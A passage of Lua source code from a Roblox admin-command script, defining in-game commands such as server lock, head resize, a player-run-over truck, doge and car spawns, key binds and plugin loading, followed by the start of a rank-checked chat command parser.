- [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
- Settings.ServerLocked = true
- GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
- end};
- [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
- Settings.ServerLocked = false
- GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
- end};
- [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
- local OldAge = Settings.MinimumAge
- local Age = tostring(Arguments[1])
- if Age then
- Settings.MinimumAge = Age
- GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
- end
- end};
- [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
- if Settings.VIPAdminID <= 1 then
- MARKET:PromptPurchase(Speaker, VIPAdminID)
- else
- CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
- end
- end};
- [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
- if Settings.VIPMemberID <= 1 then
- MARKET:PromptPurchase(Speaker, VIPMemberID)
- else
- CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
- end
- end};
- [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[2]) then
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Size = tonumber(Arguments[2])+25
- for _,Player in pairs(Players) do
- if Player.Character then
- if Player.Character:FindFirstChild("Head") then
- if Player.Character.Head:FindFirstChild("Mesh") then
- Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
- end
- end
- end
- end
- end
- end};
- [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
- Player.Character.Parent = nil
- CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
- end
- end
- end};
- [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
- GUI:SettingsGui(Speaker)
- end};
- [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[2]) then
- local Players = STRING:Scan(Arguments[1], Speaker)
- local List = {}
- for _,Player in pairs(Players) do
- if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
- table.insert(List, Player.Name)
- end
- end
- GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
- end
- end};
- [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") then
- local Char = Player.Character
- Char:BreakJoints()
- CORE:ScanItems(Char, {"BasePart"}, function(Obj)
- Obj.Anchored = true
- for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
- local Decal = Instance.new("Decal", Obj)
- Decal.Texture = "rbxassetid://178913323"
- Decal.Face = Face
- end
- end)
- local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
- local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
- Sound1:Play() Sound2:Play()
- coroutine.wrap(function()
- coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
- repeat wait()
- CORE:ScanItems(Char, {"BasePart"}, function(Obj)
- SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
- Obj.Transparency = math.random(0,30)/100
- Obj.Reflectance = math.random(0,50)/100
- Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
- end)
- until Char ~= Player.Character or Char.Parent == nil
- end)()
- end
- end
- end, Hidden = true};
- [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
- GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
- end, Http = true};
- [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Material = "Neon"
- end)
- end
- end
- end};
- [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Material = "Plastic"
- end)
- end
- end
- end};
- [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
- Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
- end)
- end
- end
- end, Hidden = true};
- [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Pos = Player.Character.Torso.Position
- Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
- local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
- if Answer == "Ok" then
- CORE:AddWaypoint(Player.Name, Pos, Speaker)
- end
- end
- end
- end};
- [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
- local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
- local PlayersTo = STRING:Scan(Arguments[2], Speaker)
- if PlayersFrom and PlayersTo then
- for _,PlayerFrom in pairs(PlayersFrom) do
- for _,PlayerTo in pairs(PlayersTo) do
- if PlayerFrom.Character and PlayerTo.Character then
- if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
- local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
- wait(5)
- Laser:Destroy()
- end)() end
- end
- end
- end
- end
- end};
- [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid:Destroy()
- end
- end
- end};
- [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
- if Plugins then
- local List = {}
- for _,Module in pairs(Plugins:GetChildren()) do
- if Module:IsA("ModuleScript") then
- local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
- local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
- local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
- table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
- end
- end
- GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
- else
- GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
- end
- end};
- [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:DetachChat(Player)
- end
- end};
- [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
- GUI:DetachChat(Speaker)
- end};
- [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
- local Dead = false
- Player.Character.Humanoid.WalkSpeed = 1
- local Torso = Player.Character.Torso
- local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
- Truck:BreakJoints()
- local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
- local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
- local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
- Truck.Touched:connect(function(Part)
- if Dead == false then
- local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
- if TouchPlayer == Player then
- Dead = true
- Player.Character:BreakJoints()
- SOUND:MakeSound(Truck, 264486467):Play() -- splat
- end
- end
- end)
- SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
- Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
- Delay(5, function()
- Truck:Destroy()
- if Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.WalkSpeed = 16
- end
- end)
- end
- end
- end};
- [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
- local Joke = REMOTE:DownloadJoke(Speaker)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:SendMessage(Player, "Joke", Joke, 19629580)
- end
- end, Http = true};
- [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
- local Joke = REMOTE:DownloadJoke(Speaker)
- GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
- end, Http = true};
- [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
- CORE:InvisiblePlayer(Player)
- local DogContainer = Instance.new("Model", Player.Character)
- DogContainer.Name = "Doge"
- local Dog = CORE:Insert(257489726, DogContainer, true)
- Dog.Head.Transparency = 0.99
- Dog.Name = Player.Name
- Dog:MoveTo(Player.Character.Torso.Position)
- local Weld = Instance.new("Weld", Dog.Torso)
- Weld.Part0 = Player.Character.Torso
- Weld.Part1 = Dog.Torso
- Weld.C0 = CFrame.new(0,-0.4,0)
- for _,Obj in pairs(Dog:GetChildren()) do
- if Obj:IsA("BasePart") then
- Obj.CanCollide = false
- end
- end
- CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
- end
- end
- end};
- [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
- local Key = string.lower(string.sub(Arguments[1],1,1))
- KeyBinds[Speaker.UserId][Key] = Arguments[2]
- GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
- end};
- [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Key = string.lower(string.sub(Arguments[1],1,1))
- KeyBinds[Speaker.UserId][Key] = nil
- GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
- end};
- [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
- KeyBinds[Speaker.UserId] = {}
- GUI:SendHint(Speaker, "Unbinded all keys")
- end};
- [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Key = string.lower(string.sub(Arguments[2],1,1))
- for _,Player in pairs(Players) do
- KeyBinds[Player.UserId][Key] = Arguments[3]
- GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
- end
- end};
- [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Key = string.lower(string.sub(Arguments[2],1,1))
- for _,Player in pairs(Players) do
- KeyBinds[Player.UserId][Key] = nil
- GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
- end
- end};
- [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- KeyBinds[Player.UserId] = {}
- GUI:SendHint(Player, "Unbinded all keys")
- end
- end};
- [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Binds = {}
- for _,Player in pairs(Players) do
- for Key,Bind in pairs(KeyBinds[Player.UserId]) do
- table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
- end
- end
- GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
- end};
- [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
- local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
- local Players = STRING:Scan(ChatSplit[1], Speaker)
- for _,Player in pairs(Players) do
- if Crowns[Player.UserId] then
- Crowns[Player.UserId]:Destroy()
- Crowns[Player.UserId] = nil
- wait()
- end
- CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
- end
- end};
- [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Crowns[Player.UserId] then
- Crowns[Player.UserId]:Destroy()
- Crowns[Player.UserId] = nil
- end
- end
- end};
- [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
- local MeshList = {}
- for MeshName,Data in pairs(Meshes) do
- table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
- end
- GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
- end};
- [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
- CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
- end};
- [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
- ypcall(function() Player.Character.Torso.roblox:Destroy() end)
- Player:ClearCharacterAppearance()
- CORE:GivePackage(Player, 41851073)
- CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
- Player.Character.Head.face.Texture = "rbxassetid://7699086"
- end
- end
- end};
- [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
- local Car = CORE:Insert(10479801, Server.Workspace, true)
- local Body = Car["Motor (torque)Chassis"].Part
- Cars[Player.UserId] = Car
- Car:MakeJoints()
- Car.VehicleSeat.MaxSpeed = 50
- Car.VehicleSeat.TurnSpeed = 1.5
- CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
- if Arguments[2] and GUI:GetColor(Arguments[2]) then
- Body.Color = GUI:GetColor(Arguments[2])
- else
- Body.BrickColor = GUI:GetNameColor(Player.Name)
- end
- for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
- if Part.Name ~= "Part" then
- Part.BrickColor = BrickColor.new("Really black")
- Part.Friction = 0.7
- end
- end
- local Light = Instance.new("SpotLight", Body)
- Light.Face = "Back"
- Light.Brightness = 5
- Light.Range = 20
- Light.Color = Color3.new(0,1,1)
- if Player.Character and Player.Character.Torso then
- Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
- Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
- --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
- Weld.Part0 = Car.VehicleSeat
- Weld.Part1 = Player.Character.Torso
- coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
- Delay(0.4, function()
- Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
- wait(0.1)
- Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
- end)
- end
- local SoundID = 147944604
- if RANK:GetRank(Player) == "Owner" then
- SoundID = 133313356
- Car.VehicleSeat.MaxSpeed = 80
- Body.Material = "DiamondPlate"
- Car.VehicleSeat.Torque = 11
- end
- local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
- Engine:Play()
- coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
- Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
- end if Engine then Engine:Stop() end end)()
- end
- end};
- [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Cars[Player.UserId] then
- Cars[Player.UserId]:Destroy()
- end
- end
- end};
- [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
- for _,Car in pairs(Cars) do
- Car:Destroy()
- end
- Cars = {}
- end};
- [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
- ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
- if #Trello.RequiredLists > 0 then
- print("Restarting Trello")
- Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
- local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
- REMOTE:TrelloCacheData(Lists)
- end
- end, Http = true};
- [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
- local Operations = {}
- for _,ReplaceData in pairs(StringReplacements) do
- local Replacement = ReplaceData[1]
- if type(Replacement) == "table" then
- Replacement = ReplaceData[1][1]
- end
- table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
- end
- GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
- end};
- [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
- GUI:SoundInfo(Speaker)
- end};
- [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:SoundInfo(Player)
- end
- end};
- [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[1]) then
- Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
- end
- end};
- [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
- local Types = {}
- for Type,_ in pairs(Assets.AccessoryTypes) do
- table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
- end
- GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
- end};
- [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Sky = Server.Lighting:FindFirstChild("Sky")
- if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
- local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
- local Face = nil
- local SkyID = string.lower(Arguments[1])
- local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
- if #Arguments == 2 and tonumber(Arguments[2]) then
- Face = Arguments[1]
- SkyID = Arguments[2]
- end
- if tonumber(SkyID) then
- local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
- if Face and Faces[Face] then
- Sky[Faces[Face]] = "rbxassetid://"..ImageID
- else
- for _,Face in pairs(Faces) do
- Sky[Face] = "rbxassetid://"..ImageID
- end
- end
- else
- GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
- end
- end};
- [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
- CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
- Obj:Destroy()
- end)
- end};
- --
- }
- if Plugins then
- local PluginNum = 0
- for _,Module in pairs(Plugins:GetChildren()) do
- if Module:IsA("ModuleScript") then
- local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
- local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
- local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
- if Enabled.Value == true then
- PluginNum = PluginNum + 1
- local PluginExe = require(Module)
- for Var,Val in pairs(getfenv()) do
- getfenv(PluginExe)[Var] = Val
- end
- getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
- getfenv(PluginExe).script = Module
- getfenv(PluginExe).Script = Module
- getfenv(PluginExe).Version = Version
- local Suc, Error = ypcall(coroutine.wrap(PluginExe))
- if not Suc then
- Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
- else
- Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
- end
- end
- end
- end
- end
- function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
- if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
- GUI:SettingsGui(Speaker)
- return nil
- end
- if NoPrefixNeeded == nil then NoPrefixNeeded = false end
- local Prefix = Settings.Prefix
- if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
- if RawMainMessage == "" or RawMainMessage == Prefix then return end
- if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
- if Speaker == nil then
- if FakeRank then
- if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
- FakeRank = "Owner"
- end
- else
- FakeRank = "Owner"
- end
- FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
- if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
- Speaker = {
- Name = FakePlayerName or "[ Server ]";
- Character = nil;
- userId = 1;
- PlayerGui = nil;
- Rank = FakeRank or "Owner";
- MakeSupremeOwner = MakeSupremeOwner;
- }
- end
- local Rank = RANK:GetRank(Speaker)
- local RawMessage = string.sub(RawMainMessage, #Prefix+1)
- if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
- if NoPrefixNeeded then Prefix = "" end
- local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
- for _,Message in pairs(Messages) do
- for Cmds,Data in pairs(Commands) do -- check all commands
- local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
- if not MessageSplit then break end
- local CommandSaid = false
- for _,Command in pairs(Cmds) do
- if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
- CommandSaid = true
- break
- end
- end
- if CommandSaid == true then -- command said?
- local ExecuteExcuse = ""
- if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
- if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
- ExecuteExcuse = "This command cannot be executed as it is a fun command"
- end
- if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
- ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
- end
- else
- ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
- end
- if ExecuteExcuse == "" then
- if #MessageSplit - 1 < Data[3] then
- ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
- end
- end
- if ExecuteExcuse == "" then
- CORE:Log(CommandLogs, Speaker, Message)
- table.remove(MessageSplit, 1)
- coroutine.wrap(function() wait()
- local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
- if not DidExe then
- if CORE:NilPlayer(Speaker) then
- print("Error: "..Error)
- else
- CORE:HandleError(Error, Speaker)
- end
- end
- end)()
- coroutine.wrap(function() wait(0.05)
- if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
- local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
- ExeSound:Play()
- wait(3)
- ExeSound:Stop()
- ExeSound:Destroy()
- end
- end)()
- elseif type(Speaker) == "userdata" then
